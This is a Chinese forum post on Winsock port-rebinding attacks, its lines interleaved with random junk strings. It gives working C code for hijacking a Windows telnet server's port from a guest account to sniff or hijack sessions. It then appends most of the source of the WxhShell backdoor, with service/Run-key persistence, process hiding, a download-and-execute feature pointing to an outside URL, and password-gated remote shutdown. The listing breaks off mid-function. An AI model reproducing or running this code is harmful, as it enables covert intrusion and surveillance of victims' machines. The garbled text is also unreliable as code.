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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2Vti|@JYp  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T'}kCnp  
-F?97&G$  
  saddr.sin_family = AF_INET; q;[HUyY,  
$9?:P}$v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); CF>&mXg\  
* sldv  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); curYD~7  
x'0_lf</ #  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oz=V|7,  
c@g(_%_|2  
  这意味着什么?意味着可以进行如下的攻击: =RHtugwy  
^B1Ft5F`b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i!%WEHPe  
w)ki<Dudg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ulzX$  
CJk"yW[,|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 w=]A;GgA  
[z"E"_r~%Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ?;o0~][!  
u D(C jHM>  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {d<XDx4`  
0UJ6> Rj  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 yf&_l^!  
f?:=@35  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &jY| :Fe  
%T$>E7]!  
  #include 3Iqvc v  
  #include ?GH/W#{o)  
  #include x%s1)\^A  
  #include    .tKBmq0xo"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Xps \+l%i  
  int main() &OJ?Za@p@)  
  { hY!ek;/Gc  
  WORD wVersionRequested; 6~sU[thGW  
  DWORD ret; 5/Qu5/  
  WSADATA wsaData; +F q_w  
  BOOL val; rrz([2E2  
  SOCKADDR_IN saddr; c3GBY@m  
  SOCKADDR_IN scaddr; `Njvk  
  int err; YCE *Dm  
  SOCKET s; zgz!"knVx  
  SOCKET sc; j_d}?jh  
  int caddsize; J-/w{T8:  
  HANDLE mt; 9{4oz<U  
  DWORD tid;   8x- 19#  
  wVersionRequested = MAKEWORD( 2, 2 ); /fUdb=!Z  
  err = WSAStartup( wVersionRequested, &wsaData ); cWo>DuW&  
  if ( err != 0 ) { Rd HCbk  
  printf("error!WSAStartup failed!\n"); ~ S<aIk0l  
  return -1; hiibPc?I  
  } z2{y<a9;?  
  saddr.sin_family = AF_INET; mKu,7nMvF  
   &[{sA;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )C"ixZ>2xQ  
$1B?@~&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %0 {_b68x  
  saddr.sin_port = htons(23); x*:VE57,z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) EUs9BJFP  
  { eH7x>[lH.  
  printf("error!socket failed!\n"); KDb j C'3  
  return -1; m#_Rv  
  } i7- i!`<  
  val = TRUE; eCR^$z=c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 r+m.! +  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =8#.=J[/  
  { ,mx\ -lWFy  
  printf("error!setsockopt failed!\n"); |pS]zD  
  return -1; aV7VbC  
  } rR":}LA^d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JwxKWVpWv  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 )NhC+=N  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 2~\SUGW-  
a T(]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QY4;qA  
  { Dqo#+_v  
  ret=GetLastError(); X+sKG5nS  
  printf("error!bind failed!\n"); K" VcPDK  
  return -1; 5?H wM[`  
  } N@tKgx  
  listen(s,2); ~tWh6-:|{J  
  while(1) c_ncx|dUs  
  { xDU \mfeGj  
  caddsize = sizeof(scaddr); a9;KS>~bq  
  //接受连接请求 5- GS@fY  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "`cN k26JZ  
  if(sc!=INVALID_SOCKET) f8[O]MrO;  
  { ;G}  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,x1OQ jtY  
  if(mt==NULL) @@^iN~uf  
  { _f";zd  
  printf("Thread Creat Failed!\n"); B<L7`xL  
  break; T5|kO:CbHq  
  } ;8XRs?xyd  
  } "[P3b"=gW  
  CloseHandle(mt); MG=8`J-`  
  } O'IU1sU  
  closesocket(s); Q<u?BA/  
  WSACleanup(); :8eI_X  
  return 0; ?R)dx uj  
  }   #S9J9k  
  DWORD WINAPI ClientThread(LPVOID lpParam) {|>Wwa2e  
  { [m{sl(Q  
  SOCKET ss = (SOCKET)lpParam; %m dtVQ@  
  SOCKET sc; J;Z2<x/H  
  unsigned char buf[4096]; O<Q8%Az  
  SOCKADDR_IN saddr; &kzysv-_  
  long num; >w<w*pC  
  DWORD val; @%x2d1FS  
  DWORD ret; Lfi6b%/z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z5(9=8hB/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   wHs1ge(  
  saddr.sin_family = AF_INET; ws9IO ?|&G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X uE: dL?  
  saddr.sin_port = htons(23); R 39_!  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XfE9QA[  
  { q 0F6MAXj  
  printf("error!socket failed!\n"); fWq*Op.]c  
  return -1; AvrvBz[  
  } .e0)@}Jv8>  
  val = 100; bKmwXDv'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {aUTTEu  
  { S=-$:65  
  ret = GetLastError(); Dh8'og)7  
  return -1; siI%6Gn;  
  } p,8~)ic_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >nSt<e  
  { +Mijio  
  ret = GetLastError(); ou-UR5  
  return -1; I[k"I(  
  } :!g|pd[{ag  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 1Zn8CmE V  
  { R`c[ ?U  
  printf("error!socket connect failed!\n"); 9x@|%4Zm"  
  closesocket(sc); ko[w#j  
  closesocket(ss); u*Xp%vNe  
  return -1; e^\e;>Dh>  
  } Gqd|F>  
  while(1) -MS#YcsV  
  { ]87BP%G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :sg}e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e1-tpD:J  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HuTtp|zM>  
  num = recv(ss,buf,4096,0); ?v M9 !  
  if(num>0) ecs 0iW-,  
  send(sc,buf,num,0); +`GtZnt#  
  else if(num==0) 3:nBl?G<  
  break; %\<b{x# G  
  num = recv(sc,buf,4096,0); kd^H}k  
  if(num>0) w1"+HJd  
  send(ss,buf,num,0); A/<u>cCW  
  else if(num==0) ]7Vg9&1`  
  break; Kb(11$U  
  } edo)W mn  
  closesocket(ss); gEj#>=s  
  closesocket(sc); *KvD$(ny  
  return 0 ; t([}a ~1}  
  } e9[72V  
B%;MGb o  
c$V5E t  
========================================================== [y@*vQw  
=|P &G~]  
下边附上一个代码,,WXhSHELL [o#% Eg;  
@5nFa~*K%  
========================================================== @/<UhnI  
* HKu%g  
#include "stdafx.h" >E+g.5 ,:W  
W#<1504ip  
#include <stdio.h> sRD fA4/TF  
#include <string.h> RJ3oI+gI  
#include <windows.h> pc*)^S  
#include <winsock2.h> WChP,hw  
#include <winsvc.h> hNN[djR  
#include <urlmon.h> QnVr)4"  
l@B9}Icq  
#pragma comment (lib, "Ws2_32.lib") V,_m>$Mo  
#pragma comment (lib, "urlmon.lib") DD$> 3`  
W\kli';jyC  
#define MAX_USER   100 // 最大客户端连接数 G@H!D[wd  
#define BUF_SOCK   200 // sock buffer "9s_[e  
#define KEY_BUFF   255 // 输入 buffer V_SH90@)+  
d>hv-n D  
#define REBOOT     0   // 重启 (*$bTI/~  
#define SHUTDOWN   1   // 关机 %)r ~GCd  
r+FEgSDa]  
#define DEF_PORT   5000 // 监听端口 Gc|)4c  
mtv8Bm=<  
#define REG_LEN     16   // 注册表键长度 @[3c1B6K  
#define SVC_LEN     80   // NT服务名长度 S\TXx79PhC  
*vaYI3{qN  
// 从dll定义API Kn~Rck| ]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zl5'%b$&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @zg}x0]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hN'])[+V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >-A@6Qe_  
)SmnLvL  
// wxhshell配置信息 /g<Oh{o8  
struct WSCFG { xN-,gT'!  
  int ws_port;         // 监听端口 g5B TZZ  
  char ws_passstr[REG_LEN]; // 口令 SQ>i:D;  
  int ws_autoins;       // 安装标记, 1=yes 0=no SL4?E<Jb  
  char ws_regname[REG_LEN]; // 注册表键名 sE"s!s/  
  char ws_svcname[REG_LEN]; // 服务名 :k/Xt$`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2 kDsIEA  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `} PYltW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7s(tAbPdB  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 92DM1~ *  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ss)x fG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 f4f2xe7\Q  
Ym6d'd<9(  
}; q?(] Y*  
jn2=)KBa_  
// default Wxhshell configuration OH\^j1x9I  
struct WSCFG wscfg={DEF_PORT, hN-@_XSw<I  
    "xuhuanlingzhe", A;TP~xq\  
    1, glMHT,  
    "Wxhshell", /\8I l+0  
    "Wxhshell", T`EV uRJ  
            "WxhShell Service", *|A QV:  
    "Wrsky Windows CmdShell Service", ;/K2h_=3z  
    "Please Input Your Password: ", zU?O)w1'  
  1, /}?7Eni  
  "http://www.wrsky.com/wxhshell.exe", !__0Vk[s  
  "Wxhshell.exe" [%P#ieD4  
    }; CZ5\Et6r  
%T/@/,7h  
// 消息定义模块 K!-OUm5A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; X$Vi=fvt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fW-C`x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ShB]U5b:k  
char *msg_ws_ext="\n\rExit."; .;?!I_`  
char *msg_ws_end="\n\rQuit."; eTuqK23  
char *msg_ws_boot="\n\rReboot..."; z K<af  
char *msg_ws_poff="\n\rShutdown..."; g":[rXvId  
char *msg_ws_down="\n\rSave to "; R+M&\ 5  
c5YPV"X  
char *msg_ws_err="\n\rErr!"; Mkz_.;3  
char *msg_ws_ok="\n\rOK!"; II\&)_S.4  
>d/H4;8  
char ExeFile[MAX_PATH]; Gnkar[oa&  
int nUser = 0; .Nn11F< d  
HANDLE handles[MAX_USER]; (@1:1K(   
int OsIsNt; 6CY&pbR  
%=aKW[uq]  
SERVICE_STATUS       serviceStatus; _[2@2q0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S&-K!XyJ  
x;/LOa{LR  
// 函数声明 #4^d#Gj  
int Install(void); B 71/nt9  
int Uninstall(void); @]@|H?  
int DownloadFile(char *sURL, SOCKET wsh); A lU^ ,X  
int Boot(int flag); iod%YjZu  
void HideProc(void); J Wn26,  
int GetOsVer(void); fvkcJwkc  
int Wxhshell(SOCKET wsl); Mbi]EZ  
void TalkWithClient(void *cs);  ?%,NOX  
int CmdShell(SOCKET sock); *G19fJ[5  
int StartFromService(void); m@4Dz|  
int StartWxhshell(LPSTR lpCmdLine); 6\4-I^=B  
\|;\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r\Nfq(w  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CXlbtpK2k  
qkb'@f=  
// 数据结构和表定义 EApKN@<"  
SERVICE_TABLE_ENTRY DispatchTable[] = Z>rY9VvWD  
{ eVXXn)>  
{wscfg.ws_svcname, NTServiceMain}, F-yY(b]$  
{NULL, NULL} ^#/FkEt7bp  
}; 3nxG>D7  
v4P"|vZ$&  
// 自我安装 zCx4DN`  
int Install(void) f9De!"*&  
{ `Fy-"Uf  
  char svExeFile[MAX_PATH]; (j: ptQ2$  
  HKEY key; ^jdU4  
  strcpy(svExeFile,ExeFile); t^rw@$"}  
)Z}AhX  
// 如果是win9x系统,修改注册表设为自启动 >yBq i^aL  
if(!OsIsNt) { 9j,g&G.K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n>M`wF>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P?54"$b  
  RegCloseKey(key); +EETo):  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M;(,0dk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UiFH*HT  
  RegCloseKey(key); V`V\/s gj  
  return 0; H];B?G';C  
    } G-aR%]7$g  
  } M+/xw8}a  
} 'Uok<;  
else { -3I3 X  
$NXP)Lic)  
// 如果是NT以上系统,安装为系统服务 aB9!}3@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zzqJeIS  
if (schSCManager!=0) 3*b5V<}'|  
{ w:~*wv  
  SC_HANDLE schService = CreateService C-'hXh;hQ  
  ( x]~TGzS  
  schSCManager, w0pMH p'Y  
  wscfg.ws_svcname, WyL+HB}  
  wscfg.ws_svcdisp, Fnw:alWr  
  SERVICE_ALL_ACCESS, Ha'[uEDb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yIMqQSt79z  
  SERVICE_AUTO_START, .HqFdsm  
  SERVICE_ERROR_NORMAL, WjV15\,  
  svExeFile, K2   
  NULL, [Kg b#L'{  
  NULL, |c_qq Bd  
  NULL, s{hKl0ds  
  NULL, 0#q=-M/?`  
  NULL VtreOJ+  
  ); #(8|9  
  if (schService!=0) ' W/M>!X  
  { pSZ2>^";  
  CloseServiceHandle(schService); c OYD N[k  
  CloseServiceHandle(schSCManager); okNo- \Dh!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G0cG%sIl  
  strcat(svExeFile,wscfg.ws_svcname); ;JW_4;-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PNU(;&2<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E-e(K8R  
  RegCloseKey(key); $6hPTc<C  
  return 0; =YO ]m<  
    } 5j%G7.S\  
  } jmok]-pC  
  CloseServiceHandle(schSCManager); f8 d 3ZK  
} AOf4y&B>q  
} jG5HW*>k0  
nB[-KS  
return 1; '%)R}wgV  
} *{o7G  a  
0D X_ *f  
// 自我卸载 GK(CuwJe  
int Uninstall(void) U)S=JT~h  
{ 6_LeP9s )  
  HKEY key; 2Xb, i  
DSGcxM+  
if(!OsIsNt) { )G? qX.D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d_RgKdR )k  
  RegDeleteValue(key,wscfg.ws_regname); >tD=t8  
  RegCloseKey(key); aQk&#OQy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IgT`on3Y  
  RegDeleteValue(key,wscfg.ws_regname); &4#Zi.]  
  RegCloseKey(key); bp1AN9~  
  return 0; .8hI ad  
  } +/:tap|V  
} C*9X;+S0J  
} 1I +9?fa  
else { FhE{khc#  
gr=h!'m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %x)b Z=An  
if (schSCManager!=0) +2tQ FV;  
{ z\YIwrq3*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +^)v"@,VP  
  if (schService!=0) oFY!NMq}:  
  { ON?Y Df  
  if(DeleteService(schService)!=0) { ;"3B,Yj  
  CloseServiceHandle(schService); jYsAL=oh,*  
  CloseServiceHandle(schSCManager); c/{FDN  
  return 0; XQ}Zr/f6  
  } Fsx?(?tCMo  
  CloseServiceHandle(schService); |(7}0]BP0  
  } xQy,1f3s+  
  CloseServiceHandle(schSCManager); tAX* CMW  
} rS8a/d~;0  
} &)eg3P)7  
(FuIOR  
return 1; ?RRO  
} 8~=*\ @^  
y(A' *G9  
// 从指定url下载文件 O&`.R|v  
int DownloadFile(char *sURL, SOCKET wsh) >rnVT K  
{ ^0VL](bD>  
  HRESULT hr; R1jl<=  
char seps[]= "/"; {]vD@)k  
char *token; >1y6DC  
char *file; jDzQw>T X  
char myURL[MAX_PATH]; 1Pf(.&/9_  
char myFILE[MAX_PATH]; S_}`'Z )  
Cj5mM[:s  
strcpy(myURL,sURL); :<% bAn  
  token=strtok(myURL,seps); >rG>Bz^Pu  
  while(token!=NULL) w~'xZ?  
  { 9&Y@g)+2  
    file=token; @Z)|_  
  token=strtok(NULL,seps); \l+v,ELX=  
  } _03?XUKV  
6&3,fSP  
GetCurrentDirectory(MAX_PATH,myFILE); !, 4ag1  
strcat(myFILE, "\\"); :1v,QEb\  
strcat(myFILE, file); +2uSMr  
  send(wsh,myFILE,strlen(myFILE),0); qA*~B'  
send(wsh,"...",3,0); F_-Lu]*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qT O6I5u  
  if(hr==S_OK) Z\0Rw>#  
return 0; 3;nOm =I  
else Bous d  
return 1; i1iP'`r  
-@To<<`n  
} *4,Q9K_  
_ _Of0<  
// 系统电源模块 =KRM`_QShg  
int Boot(int flag) ]5!3|UYS  
{ lFBdiIw  
  HANDLE hToken; 'r;mm^cS?  
  TOKEN_PRIVILEGES tkp; ?vXgHDs^T  
gLiJ&H  
  if(OsIsNt) { 6W1GvM\e  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p6M9uu  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WhPP4 #  
    tkp.PrivilegeCount = 1; tRjv  -  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ] 5Cr$%H=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,5DJ54B!  
if(flag==REBOOT) { b|#=kPVgL}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A^U84kV=  
  return 0; 'C+cQLig@  
} sEhvx +(  
else { Mk! Fy]3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) hU)t5/h;K  
  return 0; %Ymi,o>  
} Y\xEPh  
  } Y$'j9bUJ  
  else { CEy\1D  
if(flag==REBOOT) { f@*69a8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;p`1Y<d-O  
  return 0; AGhenDN V  
} )'shpRB;1  
else {  Spm 0`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6F\ 6,E  
  return 0; V&mkS  
} I16FVdUun4  
} ;Iu _*U9)  
]4:QqdV  
return 1; uU  d"l,V  
} dwj?;  
hCxg6e<[  
// win9x进程隐藏模块 TykT(=  
void HideProc(void) &AiAd6  
{ ]uXJjS f  
0B6!$) *-i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y&2FH/(M  
  if ( hKernel != NULL ) }T5@P {3P3  
  { LF|0lAr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^:9a1{L[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r" H::A  
    FreeLibrary(hKernel); 7Sdo*z  
  } A U~DbU0O  
( eV,f  
return; *&U~Io"U  
} *>fr'jj1$  
*^>"  h@J  
// 获取操作系统版本 +VwQ=[y]  
int GetOsVer(void) hgU;7R,?ir  
{ ]jT}]9Q$  
  OSVERSIONINFO winfo; fQ+whGB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c3]t"TA,  
  GetVersionEx(&winfo); 0R x#Fm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r@G*Fx8Z  
  return 1; Z |$#  
  else HoI6(t  
  return 0; *WE8J#]d  
} 3%vXB=>T!  
T(|'.&a  
// 客户端句柄模块 I~,.@{4  
int Wxhshell(SOCKET wsl) S^O9}<2g  
{ %m&6'Rpfk  
  SOCKET wsh; f*k7 @[rSv  
  struct sockaddr_in client; qxZIH  
  DWORD myID; y)kxR  
q,v<:sS9T  
  while(nUser<MAX_USER) QM,#:m1o  
{ 9A |A@E#  
  int nSize=sizeof(client); /=2aD5r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _p$/.~Xo9  
  if(wsh==INVALID_SOCKET) return 1; \ o<ucp\J  
3,PR6a,b'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mK:gj&N7X|  
if(handles[nUser]==0) ^PG"  
  closesocket(wsh); :{u`qi  
else |q`NJ  
  nUser++; VL%. maj  
  } WJ{Iv] }9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7_~ A*LM  
d$IROZK-D  
  return 0; b]u$!W  
} Xhe& "rM  
<J509j  
// 关闭 socket ;|Cd q  
void CloseIt(SOCKET wsh) s5~k]"{j  
{ c 4z&HQd  
closesocket(wsh); %H{pU:[5*  
nUser--; ]r`;89:s>  
ExitThread(0); Pps$=`  
} "i&)+dr-  
1>(EvY}Y\  
// 客户端请求句柄 R"ON5,E  
void TalkWithClient(void *cs) G,C`+1$*  
{ *6I$N>1  
d4o ^+\  
  SOCKET wsh=(SOCKET)cs; 2A_1E \  
  char pwd[SVC_LEN]; MQ,K%_m8  
  char cmd[KEY_BUFF]; Hq.rG-,p  
char chr[1]; eV7;#w<]  
int i,j; vF\>;pcT  
O_QDjxj^rZ  
  while (nUser < MAX_USER) { ,gV#x7IW  
uFr12ZFgK  
if(wscfg.ws_passstr) { 0/HFLz'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M9)4ihK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Wf c/?{  
  //ZeroMemory(pwd,KEY_BUFF); v[L+PD U  
      i=0; a (U52dO,  
  while(i<SVC_LEN) { [?K>s>it  
[>ghs_?dZ  
  // 设置超时 77\+V 0cF  
  fd_set FdRead; u\LNJo| B  
  struct timeval TimeOut; %q5dV<X'c  
  FD_ZERO(&FdRead); [,;Y5#Y[5  
  FD_SET(wsh,&FdRead); !*]i3 ,{7v  
  TimeOut.tv_sec=8; 4DL;Y  
  TimeOut.tv_usec=0; }c G)$E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q/o,2R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Yxq!7J  
~n=DI/AJ@-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2u.0AG   
  pwd=chr[0]; ^ITF*  
  if(chr[0]==0xd || chr[0]==0xa) { Sk{skvd;  
  pwd=0; bPVk5G*ruP  
  break; 461g7R%r  
  } 8 063LWV  
  i++; ("U<@~  
    } JrcbJt  
b1Vr>:sK47  
  // 如果是非法用户,关闭 socket 4,y7a=qf3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); f*%kHfaXgN  
} Fz#@[1,  
X>I3N?5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U["0B8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r+#{\~r7T  
x2v0cR"KL  
while(1) { N7?]eD  
 kN=&"  
  ZeroMemory(cmd,KEY_BUFF); {aAd (~YZ  
X]y:uD{  
      // 自动支持客户端 telnet标准   b8d0]YS  
  j=0; q,Gymh;  
  while(j<KEY_BUFF) { puPI ^6y%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b8K]>yDAh  
  cmd[j]=chr[0]; ^J]&($-  
  if(chr[0]==0xa || chr[0]==0xd) { ^N7H~CT"  
  cmd[j]=0; GDSV:]hL  
  break; }=X: F1S  
  } Q6m8N  
  j++; q|*^{(tWs  
    } 3(e_2v  
[9sEc  
  // 下载文件 G&S2U=KdV%  
  if(strstr(cmd,"http://")) { L{1sYR%s\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }y6)d.  
  if(DownloadFile(cmd,wsh)) $udhTI#,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 44KoOY_  
  else N3"JouP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <0d2{RQ;  
  }  G*z\ ^H  
  else { 'K4FS(q  
J>(X0@eWz  
    switch(cmd[0]) { TuQGF$n@  
  xM%4/QE+  
  // 帮助 tp`1S+'~j  
  case '?': { ??F* Z" x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u1meys a{0  
    break; VcKB:(:[  
  } yzN[%/  
  // 安装 1AAyzAP9`  
  case 'i': { |gE1P/%k  
    if(Install()) lcl|o3yQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hDxq9EF  
    else Au,oX2$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k[@P526  
    break; HAjl[c  
    } j n^X{R\  
  // 卸载 %,bD| NKp  
  case 'r': { - rO34l  
    if(Uninstall()) Db"mq'vT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %:aXEjm@  
    else 3}nk9S:jr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0O"W0s"T#  
    break; ,D{7=mDVm  
    } X,Na4~JO(  
  // 显示 wxhshell 所在路径 {KgA V  
  case 'p': { 2 GRI<M  
    char svExeFile[MAX_PATH]; Ay(p~U;gN*  
    strcpy(svExeFile,"\n\r"); CM?:\$ 4  
      strcat(svExeFile,ExeFile); n^nE&'[?0g  
        send(wsh,svExeFile,strlen(svExeFile),0); x3ZF6)@  
    break; B@F@,?K4%  
    } FJeh=\  
  // 重启 @jn&Wf?  
  case 'b': { nL 5tHz:e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BAQ-1kSz  
    if(Boot(REBOOT)) D [+LU(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hC2Fup1@  
    else { `n$Ak5f  
    closesocket(wsh); Z1 Nep !  
    ExitThread(0); z>N[veX%  
    } :7K a4  
    break; ILm +o$o ~  
    } (H_dZL  
  // 关机 '?C6P5fm  
  case 'd': { 7Bj,{9^aJ  
